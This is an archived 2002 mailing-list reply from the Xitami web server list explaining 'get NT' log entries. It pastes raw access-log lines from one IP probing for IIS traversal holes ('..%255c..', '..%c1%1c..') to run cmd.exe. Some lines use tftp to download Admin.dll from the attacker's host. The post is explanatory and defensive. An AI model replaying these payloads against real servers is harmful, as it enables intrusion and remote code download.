[Xitami] Changing Port 80

[Alex Barna]

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Johannes Prost wrote:<br>
<br>
<span style="white-space: pre;">&gt; sorry guys, but what is an "get
NT" type request ? Would some one be<br>
&gt; willing to explain that to me in more detail ?<br>
&gt; <br>
&gt; Thank you. Johannes..<br>
</span><br>
Stuff like this in the Log &amp; Error files. Note the RoadRunner IP
address. <br>
These are attempts to hack a windows server &amp; just fill up the
Xitami log file.<br>
<br>
65.25.137.217 - - [17/Feb/2002:13:37:48 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:37:56 -0600] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:38:04 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:38:11 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:38:18 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:38:26 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:38:33 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:38:40 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:38:47 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:39:13 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 ""
""<br>
65.25.137.217 - - [17/Feb/2002:13:39:21 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2065.25.137.217%20GET%20Admin.dll%20c:\Admin.dll
HTTP/1.0" 200 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:39:50 -0600] "GET
/scripts/..%%35%63../Admin.dll HTTP/1.0" 200 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:39:57 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""<br>
65.25.137.217 - - [17/Feb/2002:13:40:04 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2065.25.137.217%20GET%20Admin.dll%20c:\Admin.dll
HTTP/1.0" 200 -1 "" ""<br>
<span style="white-space: pre;"></span><br>
Alex,<br>
<br>
<br>
</body>
</html>